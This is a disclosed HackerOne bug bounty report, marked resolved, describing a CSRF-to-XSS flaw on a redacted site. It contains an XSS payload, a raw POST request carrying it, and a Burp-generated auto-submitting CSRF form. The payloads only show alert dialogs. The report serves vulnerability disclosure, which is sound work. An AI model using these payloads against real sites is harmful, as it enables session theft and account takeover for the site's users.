CSRF to Cross-site Scripting (XSS)
Medium
Vulnerability Details
hello dear support
I have found csrf to XSS on https://██████
my payload "><img src=x onerror=prompt``>;<video>
url: POST ██████████
post data answer=A"><img src=x onerror=prompt``>;<video>
## Impact
Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.
Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.
## System Host(s)
████████
## Affected Product(s) and Version(s)
## CVE Numbers
## Steps to Reproduce
http request
==========
```
POST ███ HTTP/1.1
Host: ███
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://█████
Connection: close
Referer: https://████████████https:%2f%2f████%2f███████
█████████
Upgrade-Insecure-Requests: 1
answer=A%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E
```
Poc csrf
```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://████████████████https:%2f%2f████████%2f████████" method="POST">
<input type="hidden" name="answer" value="A"><img src=x onerror=alert(document.domain)>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
## Suggested Mitigation/Remediation Actions
Actions
View on HackerOneReport Stats
- Report ID: 1118521
- State: Closed
- Substate: resolved
- Upvotes: 12